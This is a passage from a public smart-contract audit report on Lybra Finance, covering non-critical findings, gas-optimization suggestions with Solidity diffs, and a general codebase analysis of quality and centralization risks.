Adjust code comments to follow function logic.

Non-Critical

[N-01] `rigidRedemption()`: Disallow rigid redemption of 0 value

Currently, `rigidRedemption` of 0 eUSD amount is allowed and won't revert. Consider adding zero value check for `eusdAmount` in `rigidRedemption`

[N-02] Add reentrancy guard to Lybra's version of synthethix contract

The synthethix `Staking.sol` contract implements reentrancy guard `nonReentrant` for `stake()`, `withdraw()` and `getRewards()`. Consider adding reentrancy guard as well for additional protection against potential/possible reentrancies.

[N-03] `LybraStETHVault.excessIncomeDistribution()`: Use `_saveReport()` directly

```
    uint256 income = feeStored + _newFee();
```

In `LybraStETHVault.excessIncomeDistribution()`, income calculated is distributed after fees are updated. This can simply be done by the already inherited function `_saveReport()` like the following. Also, since `lastReportTime` is also updated via `_saveReport()`, the update of `lastReportTime` within `excessIncomeDistribution()` can also be removed.

```
    uint256 income = _saveReport();
```

[N-04] `LybraStETHVault.excessIncomeDistribution()`: Cache result of `getDutchAuctionDiscountPrice()`

```
    uint256 payAmount = (((realAmount * getAssetPrice()) / 1e18) * g

    emit LSDValueCaptured(realAmount, payAmount, getDutchAuctionDisc
```

Cache the result of `getDutchAuctionDiscountPrice()` since it is called twice in `excessIncomeDistribution()`, once for calculating `payAmount` and another time for emitting `LSDValueCaptured` event.

[N-05] `liquidation()/superLiquidation`: Add 0 value check to prevent division by 0 in `liquidation`

```
    require(borrowerd[onBehalfOf] > 0, "Must have borrow balance")
```

Consider adding a check to ensure that `borrowed` amount is greater than 0 before allowing for `liquidation()/superLiquidation` to prevent division by zero error.

[N-06] Superfluous events

Many events in the contracts emit `block.timestamp`, which is not needed since it is included in every emission of events in solidity, so it is not needed to explicity emit them in events.

LybraFinance acknowledged

Oxean (judge) commented:

> L-01 should be Non-Critical, as this is just about clarity - mostly or potentially gas savings for an early revert.

> Otherwise, the severities look correct.

Gas Optimizations

For this audit, 22 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **JCN** received the top score from the judge.

The following wardens also submitted reports: naman1778, SM3_SS, Raihan, MohammedRizwan, fatherOfBlocks, mgf15, shamsulhaq123, ReyAdmirado, Rageur, SAQ, 0xAnah, turvy_fuzz, hunter_w3b, SAAJ, mrudenko, Sathish9098, Rolezn, ayo_dev, dharma09, DavidGiladi, *and* souilos.

Summary

The main objective of this report was to minimize storage operations. As such, gas optimizations that dealt with storage were prioritized to provide the most value when juxtaposed with the findings in the Bot Race. Since no tests are available and specific benchmarking is not possible, all optimizations are explained via EVM gas costs and opcodes.

Notes:

- Only optimizations to state-mutating functions and `view` / `pure` function invoked by state-mutating functions are highlighted below.
- Only runtime gas is highlighted below, as it will inevitably out-weight deployment gas costs throughout the lifetime of the protocol.
- Some code snippets may be truncated to save space. Code snippets may also be accompanied by @audit tags in comments to aid in explaining the issue.

Gas Optimizations Summary

Number	Issue	Instances	Estimated Gas Saved
[G-01]	State variables can be cached instead of re-reading them from storage	22	2200
[G-02]	State variables only set during construction should be declared constant	2	4200
[G-03]	State variables can be packed into fewer storage slots	5	22000
[G-04]	Structs can be packed into fewer storage slots	1	2000
[G-05]	Cache state variables outside of loop to avoid reading storage on every iteration	1	100
[G-06]	Use `calldata` instead of `memory` for function parameters that don't change	2	200
[G-07]	Cache function calls	5	600
[G-08]	Refactor functions to avoid excessive storage reads	4	900
[G-09]	Avoid emitting event on every iteration	1	375
[G-10]	Multiple address/ID mappings can be combined into a single mapping of an address/ID to a struct, where appropriate	1	22100

Total Estimated Gas Saved: 54675

[G-01] State variables can be cached instead of re-reading them from storage

Caching of a state variable replaces each `Gwarmaccess (100 gas)` with a much cheaper stack read.

Note: These are instances missed by the Bot Race.

Total Instances: `22`

Estimated Gas Saved: `22 * 100 = 2200`

▶ Details

[G-02] State variables only set during construction should be declared constant

The solidity compiler will directly embed the values of constant variables into your contract bytecode, and therefore, will save you from incurring a `Gsset (20000 gas)` when you set storage variables during construction; a `Gcoldsload (2100 gas)` when you access storage variables for the first time in a transaction, and a `Gwarmaccess (100 gas)` for each subsequent access to that storage slot.

Total Instances: `2`

Estimated Gas Saved: `2 * 2100 = 4200`

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/token/LBR.sol#L15

```
File: contracts/lybra/token/LBR.sol
15:     uint256 maxSupply = 100_000_000 * 1e18; // @audit: only s
```

```diff
diff --git a/lybra/token/LBR.sol b/lybra/token/LBR.sol
index 26fe9d0..a2a802f 100644
--- a/lybra/token/LBR.sol
+++ b/lybra/token/LBR.sol
@@ -12,7 +12,7 @@ import "../../OFT/BaseOFTV2.sol";

 contract LBR is BaseOFTV2, ERC20 {
     Iconfigurator public immutable configurator;
-    uint256 maxSupply = 100_000_000 * 1e18;
+    uint256 constant maxSupply = 100_000_000 * 1e18;
     uint internal immutable ld2sdRatio;
```

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/token/esLBR.sol#L20

```
File: contracts/lybra/token/esLBR.sol
20:     uint256 maxSupply = 100_000_000 * 1e18; // @audit: only s
```

```diff
diff --git a/lybra/token/esLBR.sol b/lybra/token/esLBR.sol
index ca08201..da5d08d 100644
--- a/lybra/token/esLBR.sol
+++ b/lybra/token/esLBR.sol
@@ -17,7 +17,7 @@ interface IProtocolRewardsPool {
 contract esLBR is ERC20Votes {
     Iconfigurator public immutable configurator;

-    uint256 maxSupply = 100_000_000 * 1e18;
+    uint256 constant maxSupply = 100_000_000 * 1e18;

     constructor(address _config) ERC20Permit("esLBR") ERC20("es
         configurator = Iconfigurator(_config);
```

[G-03] State variables can be packed into fewer storage slots

The EVM works with 32 byte words. Variables less than 32 bytes can be declared next to eachother in storage and this will pack the values together into a single 32 byte storage slot (if the values combined are <= 32 bytes). If the variables packed together are retrieved together in functions, we will effectively save ~2000 gas with every subsequent SLOAD for that storage slot. This is due to us incurring a `Gwarmaccess (100 gas)` versus a `Gcoldsload (2100 gas)`.

Total Instances: `5`

Estimated Gas Saved: `11 (slots) * 2000 = 22000`

▶ Details

[G-04] Structs can be packed into fewer storage slots

The EVM works with 32 byte words. Variables less than 32 bytes can be declared next to each other in storage and this will pack the values together into a single 32 byte storage slot (if values combined are <= 32 bytes). If the variables packed together are retrieved together in functions (more likely with structs), we will effectively save ~2000 gas with every subsequent SLOAD for that storage slot. This is due to us incurring a `Gwarmaccess (100 gas)` versus a `Gcoldsload (2100 gas)`.

Total Instances: `1`

Estimated Gas Saved: `1 (slots) * 2000 = 2000`

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/esLBRBoost.sol#L18-L22

Reduce `uint` type for `unlockTime` and `duration` and pack into a single storage slot to save 1 SLOT (~2000 gas)

```
File: contracts/lybra/miner/esLBRBoost.sol
18:     struct LockStatus {
19:         uint256 unlockTime;
20:         uint256 duration;
21:         uint256 miningBoost;
22:     }
```

```
diff --git a/lybra/miner/esLBRBoost.sol b/lybra/miner/esLBRBoost
index c6a4d24..3bc785b 100644
--- a/lybra/miner/esLBRBoost.sol
+++ b/lybra/miner/esLBRBoost.sol
@@ -16,8 +16,8 @@ contract esLBRBoost is Ownable {

     // Define a struct for the user's lock status
     struct LockStatus {
-        uint256 unlockTime;
-        uint256 duration;
+        uint128 unlockTime;
+        uint128 duration;
         uint256 miningBoost;
     }

@@ -41,7 +41,7 @@ contract esLBRBoost is Ownable {
         if (userStatus.unlockTime > block.timestamp) {
             require(userStatus.duration <= _setting.duration, "
         }
-        userLockStatus[msg.sender] = LockStatus(block.timestamp
+        userLockStatus[msg.sender] = LockStatus(uint128(block.t
     }
```

[G-05] Cache state variables outside of loop to avoid reading storage on every iteration

Reading from storage should always try to be avoided within loops. In the following instances, we are able to cache state variables outside of the loop to save a `Gwarmaccess (100 gas)` per loop iteration.

Total Instances: `1`

Estimiated Gas Saved: `100`

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L136-L145

Cache `peUSDExtraRatio` outside of the loop to save 1 SLOAD per iteration

Note: This `view` function is invoked within other public `view` functions that themselves are invoked within state-mutating functions. Example: `getReward()` (state-mutating) invokes `isOtherEarningsClaimable` which in turn invokes `stakeOf`.

```
File: contracts/lybra/miner/EUSDMiningIncentives.sol
136:     function stakedOf(address user) public view returns (uin
137:         uint256 amount;
138:         for (uint i = 0; i < pools.length; i++) {
139:             ILybra pool = ILybra(pools[i]);
140:             uint borrowed = pool.getBorrowedOf(user);
141:             if (pool.getVaultType() == 1) {
142:                 borrowed = borrowed * (1e20 + peUSDExtraRati
143:             }
144:             amount += borrowed;
145:         }
```

```
diff --git a/lybra/miner/EUSDMiningIncentives.sol b/lybra/miner/l
index e6c57c8..43746fa 100644
--- a/lybra/miner/EUSDMiningIncentives.sol
+++ b/lybra/miner/EUSDMiningIncentives.sol
@@ -135,11 +135,12 @@ contract EUSDMiningIncentives is Ownable {

     function stakedOf(address user) public view returns (uint25
```

```
        uint256 amount;
+       uint256 _peUSDExtraRatio = peUSDExtraRatio;
        for (uint i = 0; i < pools.length; i++) {
            ILybra pool = ILybra(pools[i]);
            uint borrowed = pool.getBorrowedOf(user);
            if (pool.getVaultType() == 1) {
-               borrowed = borrowed * (1e20 + peUSDExtraRatio) 
+               borrowed = borrowed * (1e20 + _peUSDExtraRatio)
            }
            amount += borrowed;
        }
```

[G-06] Use `calldata` instead of `memory` for function parameters that don't change

When you specify a data location as `memory`, that value will be copied into memory. When you specify the location as `calldata`, the value will stay static within `calldata`. If the value is a large, complex type, using memory may result in extra memory expansion costs.

Total Instances: `2`

Estimated Gas Saved: `200`

Note: This is a commonly known high impact finding; however, due to lack of available tests the exact gas costs can not be known. We will therefore be conservative in our projected gas savings and give each instance a projected savings of 100 gas.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L93

```
File: contracts/lybra/miner/EUSDMiningIncentives.sol
93:     function setPools(address[] memory _pools) external onlyO
```

```
diff --git a/lybra/miner/EUSDMiningIncentives.sol b/lybra/miner/
index e6c57c8..50ea5b2 100644
--- a/lybra/miner/EUSDMiningIncentives.sol
+++ b/lybra/miner/EUSDMiningIncentives.sol
```

```
@@ -90,7 +90,7 @@ contract EUSDMiningIncentives is Ownable {
         lbrPriceFeed = AggregatorV3Interface(_lbrOracle);
     }

-    function setPools(address[] memory _pools) external onlyOwn
+    function setPools(address[] calldata _pools) external onlyO
         for (uint i = 0; i < _pools.length; i++) {
             require(configurator.mintVault(_pools[i]), "NOT_VAU
         }
```

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/esLBRBoost.sol#L33

```
File: contracts/lybra/miner/esLBRBoost.sol
33:     function addLockSetting(esLBRLockSetting memory setting)
```

```
diff --git a/lybra/miner/esLBRBoost.sol b/lybra/miner/esLBRBoost
index c6a4d24..a2784df 100644
--- a/lybra/miner/esLBRBoost.sol
+++ b/lybra/miner/esLBRBoost.sol
@@ -30,7 +30,7 @@ contract esLBRBoost is Ownable {
     }

     // Function to add a new lock setting
-    function addLockSetting(esLBRLockSetting memory setting) ex
+    function addLockSetting(esLBRLockSetting calldata setting)
         esLBRLockSettings.push(setting);
     }
```

[G-07] Cache function calls

External calls are expensive as they are performed via the `CALL` / `STATICCALL` opcodes. Calls to internal functions can also be expensive when the internal functions themselves read from storage and/or perform external calls. If a function call, such as the ones explained above, is performed more than once, it should be cached to avoid incurring the costs multiple times.

Total Instances: `5`

Estimated Gas Saved: `600`

▶ Details

[G-08] Refactor functions to avoid excessive storage reads

The functions below read storage slots that are previously read in the functions that invoke them. We can refactor the functions so we could pass cached storage variables as stack variables and avoid the extra storage reads that would otherwise take place in the public/internal functions.

Total Instances: `4`

Estimated Gas Saved: `900`

▶ Details

[G-09] Avoid emitting event on every iteration

Expensive operations should always try to be avoided within loops. Such operations include: reading/writing to storage, heavy calculations, external calls, and emitting events. In this instance, an event is being emitted every iteration. Events have a base cost of `Glog (375 gas)` per emit and `Glogdata (8 gas) * number of bytes in event`. We can avoid incurring those costs each iteration by emitting the event outside of the loop.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L236-L238

```
File: contracts/lybra/configuration/LybraConfigurator.sol
236:        for (uint256 i = 0; i < _contracts.length; i++) {
237:            tokenMiner[_contracts[i]] = _bools[i];
238:            emit tokenMinerChanges(_contracts[i], _bools[i])
```

[G-10] Multiple address/ID mappings can be combined into a single mapping of an address/ID to a struct, where appropriate

We can combine multiple mappings below into structs. We can then pack the structs by modifying the uint type for the values. This will result in cheaper storage reads since multiple mappings are accessed in functions and those values are now occupying the same storage slot; meaning the slot will become warm after the first SLOAD. In addition, when writing to and reading from the struct values, we will avoid a `Gsset (20000 gas)` and `Gcoldsload (2100 gas)` since multiple struct values are now occupying the same slot.

Estimated Gas Savings: `Gsset (20000 gas) + Gcoldsload (2100 gas) = 22100`

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/ProtocolRewardsPool.sol#L36-L38

Combine `time2fullRedemption` and `lastWithdrawTime` into one mapping of a struct and reduce the `uint` type of each variable (this is possible since they hold timestamps). Doing so will allow us to pack the variables into one slot, which will result in avoiding a `Gsset (20000 gas)` when both values are set in a function call and avoiding a `Gcoldsload (2100 gas)` when both values are accessed in a function call.

The following functions will benefit from this optimization: `ProtocolRewardsPool.unstake` *,* `ProtocolRewardsPool.withdraw` *, and* `ProtocolRewardsPool.unlockPrematurely` *.*

Note: The bot race flagged these instances, but failed to explain the refactoring needed to achieve the optimal gas savings. Simply combining the `time2fullRedemption` *and* `lastWithdrawTime` *mappings will not result in any significant gas savings since those values will still occupy their own slot. The explanation offered above and the complementary refactoring below allows us to understand this optimization in its entirety. For these reasons, this finding is included in this report.*

```
File: contracts/lybra/miner/ProtocolRewardsPool.sol
36:     mapping(address => uint) public time2fullRedemption;
37:     mapping(address => uint) public unstakeRatio;
38:     mapping(address => uint) public lastWithdrawTime;
```

```diff
diff --git a/lybra/miner/ProtocolRewardsPool.sol b/lybra/miner/P
index 8fc83d6..6768fac 100644
--- a/lybra/miner/ProtocolRewardsPool.sol
+++ b/lybra/miner/ProtocolRewardsPool.sol
@@ -33,12 +33,18 @@ contract ProtocolRewardsPool is Ownable {
     mapping(address => uint) public userRewardPerTokenPaid;
     // User address => rewards to be claimed
     mapping(address => uint) public rewards;
-    mapping(address => uint) public time2fullRedemption;
     mapping(address => uint) public unstakeRatio;
-    mapping(address => uint) public lastWithdrawTime;
     uint256 immutable exitCycle = 90 days;
     uint256 public grabableAmount;
     uint256 public grabFeeRatio = 3000;
+
+    struct TimeStruct {
+        uint128 time2fullRedemption;
+        uint128 lastWithdrawTime;
+    }
+
+    mapping(address => TimeStruct) timeStruct;
+
     event Restake(address indexed user, uint256 amount, uint256
     event StakeLBR(address indexed user, uint256 amount, uint25
     event UnstakeLBR(address indexed user, uint256 amount, uint
@@ -89,11 +95,12 @@ contract ProtocolRewardsPool is Ownable {
         esLBR.burn(msg.sender, amount);
         withdraw(msg.sender);
         uint256 total = amount;
-        if (time2fullRedemption[msg.sender] > block.timestamp)
-            total += unstakeRatio[msg.sender] * (time2fullRedem
+        TimeStruct storage _timeStruct = timeStruct[msg.sender]
+        if (_timeStruct.time2fullRedemption > block.timestamp)
+            total += unstakeRatio[msg.sender] * (_timeStruct.ti
         }
         unstakeRatio[msg.sender] = total / exitCycle;
-        time2fullRedemption[msg.sender] = block.timestamp + exi
+        _timeStruct.time2fullRedemption = uint128(block.timesta
         emit UnstakeLBR(msg.sender, amount, block.timestamp);
     }

@@ -102,7 +109,7 @@ contract ProtocolRewardsPool is Ownable {
         if (amount > 0) {
             LBR.mint(user, amount);
         }
-        lastWithdrawTime[user] = block.timestamp;
```

```
+         timeStruct[user].lastWithdrawTime = uint128(block.times
          emit WithdrawLBR(user, amount, block.timestamp);
      }

@@ -111,14 +118,15 @@ contract ProtocolRewardsPool is Ownable {
      * with the lost portion being recorded in the contract and
      */
     function unlockPrematurely() external {
-        require(block.timestamp + exitCycle - 3 days > time2ful
+        TimeStruct storage _timeStruct = timeStruct[msg.sender]
+        require(block.timestamp + exitCycle - 3 days > _timeStr
         uint256 burnAmount = getReservedLBRForVesting(msg.sende
         uint256 amount = getPreUnlockableAmount(msg.sender) + g
         if (amount > 0) {
             LBR.mint(msg.sender, amount);
         }
         unstakeRatio[msg.sender] = 0;
-        time2fullRedemption[msg.sender] = 0;
+        _timeStruct.time2fullRedemption = 0;
         grabableAmount += burnAmount;
     }

@@ -142,25 +150,26 @@ contract ProtocolRewardsPool is Ownable {
         uint256 amount = getReservedLBRForVesting(msg.sender) +
         esLBR.mint(msg.sender, amount);
         unstakeRatio[msg.sender] = 0;
-        time2fullRedemption[msg.sender] = 0;
+        timeStruct[msg.sender].time2fullRedemption = 0;
         emit Restake(msg.sender, amount, block.timestamp);
     }

     function getPreUnlockableAmount(address user) public view re
         uint256 a = getReservedLBRForVesting(user);
         if (a == 0) return 0;
-        amount = (a * (75e18 - ((time2fullRedemption[user] - bl
+        amount = (a * (75e18 - ((timeStruct[user].time2fullRede
     }

     function getClaimAbleLBR(address user) public view returns
-        if (time2fullRedemption[user] > lastWithdrawTime[user])
-            amount = block.timestamp > time2fullRedemption[user
amp - lastWithdrawTime[user]);
+        TimeStruct storage _timeStruct = timeStruct[user];
+        if (_timeStruct.time2fullRedemption > _timeStruct.lastW
+            amount = block.timestamp > _timeStruct.time2fullRed
r] * (block.timestamp - _timeStruct.lastWithdrawTime);
```

```diff
            }
        }

        function getReservedLBRForVesting(address user) public view
-           if (time2fullRedemption[user] > block.timestamp) {
-               amount = unstakeRatio[user] * (time2fullRedemption[u
+           if (timeStruct[user].time2fullRedemption > block.timest
+               amount = unstakeRatio[user] * (timeStruct[user].tim
            }
        }
```

LybraFinance acknowledged

Audit Analysis

For this audit, 10 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by **Sathish9098** received the top score from the judge.

The following wardens also submitted reports: MrPotatoMagic, K42, ktg, solsaver, 0xbrett8571, hl_, ABAIKUNANBAEV, 0x3b, *and* peanuts.

Lybra Finance - Analysis

Heading	Details
Approach taken in evaluating the codebase	What is unique? How are the existing patterns used?
Codebase quality analysis	Its structure, readability, maintainability, and adherence to best practices
Centralization risks	Power, control, or decision-making authority is concentrated in a single entity
Bug Fix	Process of identifying and resolving issues or errors
Gas Optimization	Process of reducing the amount of gas consumed by a smart contract or transaction on a blockchain network
Other recommendations	Recommendations for improving the quality of your codebase
Time spent on analysis	Time detail of individual stages in my code review and analysis

Approach taken in evaluating the codebase

Steps:

- `Use a static code analysis tool` : Static code analysis tools can scan the code for potential bugs and vulnerabilities. These tools can be used to identify a wide range of issues, including:
    - Insecure coding practices
    - Common vulnerabilities
    - Code that is not compliant with security standards
- `Read the documentation` : The documentation for Lybra Finance should provide a detailed overview of the protocol and its codebase. This documentation can be used to understand the purpose of the code and to identify potential areas of concern.
- `Scope the analysis` : Once you have a basic understanding of the protocol and its codebase, you can start to scope the analysis. This involves identifying the specific areas of code that you want to focus on. For example, you may want to focus on the code that handles user input, the code that interacts with external APIs, or the code that stores sensitive data.
- `Manually review the code` : Once you have scoped the analysis, you can start to manually review the code. This involves reading the code line-by-line and looking for potential problems. Some of the things you should look for include:
    - Unvalidated user input
    - Hardcoded credentials
    - Insecure cryptographic functions
    - Unsafe deserialization
- `Mark vulnerable code parts with @audit tags` : Once you have identified any potential vulnerabilities, you should mark them with @audit tags. This will help you to identify the vulnerable code parts later on.
- `Dig deep into vulnerable code parts and compare with documentations` : For each vulnerable code part, you should dig deep to

understand how it works and why it is vulnerable. You should also compare the code with the documentation to see if there are any discrepancies.

- `Perform a series of tests` : Once you have finished reviewing the code, you should perform a series of tests to ensure that it works as intended. These tests should cover a wide range of scenarios, including:
    - Valid and invalid user input
    - Different types of attacks
    - Different operating systems and hardware platforms
- `Report any problems` : If you find any problems with the code, you should report them to the developers of Lybra Finance. The developers will then be able to fix the problems and release a new version of the protocol.

Codebase quality analysis

`LybraPeUSDVaultBase.sol`

- The contract does not have explicit access control modifiers, such as `onlyOwner` or `onlyAuthorized` , to restrict access to sensitive functions.
- The contract lacks comprehensive error handling mechanisms. It does not provide explicit error messages or revert reasons in many cases.
- The contract lacks detailed inline comments explaining the purpose and functionality of the code.

`LybraEUSDVaultBase.sol`

- The contract lacks sufficient comments to explain the purpose and functionality of the code.
- The contract uses a mix of different naming conventions for variables, functions, and events.
- Some functions and variables have no access modifiers specified, such as `totalDepositedAsset` , `lastReportTime` , and `poolTotalEUSDCirculation` (e.g., public, external, internal, private).
- There are some missing or inadequate error handling mechanisms in the contract. For example, the require statements do not provide specific error messages,

which could make it challenging to diagnose issues when a transaction fails.

- The contract's event names, such as `LiquidationRecord` and `LSDValueCaptured`, do not follow the typical event naming conventions.
- Some variables, such as `vaultType`, `feeStored`, and `lastReportTime`, are declared, but not used in the contract. Removing these unused variables would enhance code clarity and reduce unnecessary storage costs.
- There is some code duplication in functions like `liquidation` and `superLiquidation`. Duplicated code increases the risk of errors and makes the contract harder to maintain.

`EUSDMiningIncentives.sol`

- Instead of initializing the `configurator` and `esLBRBoost` variables in the constructor, consider using constructor initialization syntax. This can improve readability and reduce the number of function calls needed during deployment.
- Add input validation checks to functions that require specific conditions to be met. For example, in the `setBiddingCost` function, ensure that the `_biddingRatio` parameter is within the allowed range.
- When calculating the `stakedOf` function, consider optimizing the loop by using a for loop with a fixed length instead of a dynamic for loop. This can improve gas efficiency.
- Explicitly specify the visibility modifiers for all functions, including external and internal functions.
- Consider using enumerations to represent different states or types within the contract.
- Look for opportunities to refactor repetitive code sections into reusable functions or modifiers. For example, the reward calculation logic in the earned function can be extracted into a separate internal function to improve code readability and maintainability.
- Implement appropriate error handling mechanisms, such as reverting transactions with informative error messages when specific conditions are not met.

`LybraConfigurator.sol`

- Consider adding visibility specifiers like public, external, or internal to functions and state variables; `vaultBadCollateralRatio`, `vaultSafeCollateralRatio`, `redemptionProvider` don't have any visibility.
- In the `setBadCollateralRatio` function, you can add additional checks to validate the `newRatio` value.
- You can combine similar mapping variables like `vaultMintPaused` and `vaultBurnPaused` into a single mapping that stores a struct with both flags.

`ProtocolRewardsPool.sol`

- The contract lacks sufficient inline comments to explain the purpose and functionality of the code.
- Some functions, such as `getPreUnlockableAmount` and `getReservedLBRForVesting`, contain complex calculations and lack clear explanations or documentation.
- Ensuring consistent naming throughout the contract improves code readability and maintainability.
- The contract combines various functionalities, such as staking, claiming rewards, and conversion between different tokens, in a single contract. Breaking down the contract into smaller, modular components can enhance code organization and reusability.
- The contract does not provide detailed error messages in some cases, making it challenging to identify the root cause of failures or exceptions.

`PeUSDMainnetStableVision.sol`

- The contract does not perform sufficient input validation for certain parameters, such as the `eusdAmount` in the `convertToPeUSD` function.
- The code uses require statements to check conditions and revert transactions when the conditions are not met. However, the error messages provided in the require statements are not descriptive.
- The contract's constructor initializes several variables and requires the input of `_config`, `_sharedDecimals`, and `_lzEndpoint`. It is crucial to ensure that these parameters are correctly set during contract deployment.

Centralization risks

A single point of failure is not acceptable for this project. Centrality risk is high in the project as the role of `onlyOwner` detailed below has very critical and important powers:

Project and funds may be compromised by a malicious or stolen private key `onlyOwner` `msg.sender`

```
FILE: 2023-06-lybra/contracts/lybra/miner/EUSDMiningIncentives.s

84: function setToken(address _lbr, address _eslbr) external onl
89: function setLBROracle(address _lbrOracle) external onlyOwner
93: function setPools(address[] memory _pools) external onlyOwne
100:function setBiddingCost(uint256 _biddingRatio) external only
105:function setExtraRatio(uint256 ratio) external onlyOwner {
110: function setPeUSDExtraRatio(uint256 ratio) external onlyOwn
115: function setBoost(address _boost) external onlyOwner {
119: function setRewardsDuration(uint256 _duration) external onl
124: function setEthlbrStakeInfo(address _pool, address _lp) ext
128: function setEUSDBuyoutAllowed(bool _bool) external onlyOwne


FILE: 2023-06-lybra/contracts/lybra/miner/ProtocolRewardsPool.so

52:  function setTokenAddress(address _eslbr, address _lbr, addr
58:  function setGrabCost(uint256 _ratio) external onlyOwner {

FILE: Breadcrumbs2023-06-lybra/contracts/lybra/miner/stakereward

121: function setRewardsDuration(uint256 _duration) external onl
127: function setBoost(address _boost) external onlyOwner {
132: function notifyRewardAmount(uint256 _amount) external onlyO
```

Bug Fix

1. `Does it use a timelock function?: True` - timeclock functions not implemented as per documentations.
2. Potential reentrancy vulnerability in the code includes external contract calls, such as `EUSD.transfer` and `peUSD.transfer`. If these contracts are not

implemented securely and follow the `checks-effects-interactions` pattern, there may be a risk of reentrancy attacks.

3. `deposit` and `withdraw`, are not properly checked for potential integer overflow or underflow.
4. Should disable the `renownceOwnerhip()` whenever we use `Ownable`. Its possible `onlyOwner` can `renounceOwner` in an unexpected way. So contracts can be in deep trouble without `owner`.
5. The `withdraw` function allows the sender to specify an `arbitrary address` to send the funds. This design could be vulnerable to `denial-of-service` scenario by consuming excessive gas during the withdrawal process.
6. Consider adding `event` logging to important contract functions, such as `deposit and withdraw` for important state changes.
7. The `setBiddingCost` function should include a check to ensure that the `_biddingRatio` is within a valid range.
8. The contract includes some external function calls (e.g., `EUSD.transferFrom` and `configurator.distributeRewards`), but it does not handle potential exceptions that could arise from these calls.
9. Some state variables, such as `redemptionFee`, `flashloanFee`, and `maxStableRatio`, are directly modifiable by privileged roles without any additional checks or restrictions.
10. The code does not include mechanisms to prevent or mitigate DoS attacks, such as gas limit restrictions, rate limiting, or circuit breakers. Malicious actors could potentially exploit vulnerable areas in the code to consume excessive gas, leading to DoS attacks.
11. In the `notifyRewardAmount` function, when calculating the `rewardPerTokenStored`, there could be precision loss when performing division operations. The code should handle the decimal places appropriately and ensure that precision loss does not occur, especially when dealing with token amounts or ratios.

Gas Optimization

- Some calculations, especially in the `getPreUnlockableAmount` function, involve multiple operations that may consume a significant amount of gas. Optimizing these calculations can improve the contract's gas efficiency and reduce transaction costs.

- `Review data types` : Analyze the data types used in your smart contracts and consider if they can be further optimized. For example, changing `uint256` to `uint128` or `uint94` can save gas and storage slots.
- `Struct packing` : Look for opportunities to pack structs into fewer storage slots. By carefully selecting appropriate data types for struct members, you can reduce the overall storage usage.
- `Use constant values` : If certain values in your contracts are constant and do not change, declare them as constants rather than storing them as state variables. This can significantly save gas costs.
- `Avoid unnecessary storage` : Examine your code and eliminate any unnecessary storage of variables or addresses that are not required for contract functionality.
- `Storage vs. memory usage` : When working with arrays or structs, consider whether using storage instead of memory can save gas. Using storage allows direct access to the state variables and avoids unnecessary copying of data.
- Replacing the use of `memory` with `calldata` for read-only arguments in `external functions`.

Other recommendations

- Regular code reviews and adherence to best practices.
- Conduct external audits by security experts.
- Consider open sourcing the contract for community review.
- Maintain comprehensive security documentation.
- Establish a responsible disclosure policy for vulnerabilities.
- Implement continuous monitoring for unusual activity.
- Educate users about risks and best practices.

Time spent on analysis

15 Hours

LybraFinance confirmed

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top